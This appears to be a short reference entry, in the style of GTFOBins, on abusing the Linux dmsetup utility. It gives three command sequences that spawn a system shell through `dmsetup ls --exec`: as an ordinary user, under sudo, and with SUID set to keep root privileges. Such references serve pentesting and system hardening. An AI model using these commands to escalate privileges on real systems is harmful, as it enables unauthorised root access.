This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
dmsetup ls --exec '/bin/sh -s'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
dmsetup ls --exec '/bin/sh -s'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
dmsetup ls --exec '/bin/sh -p -s'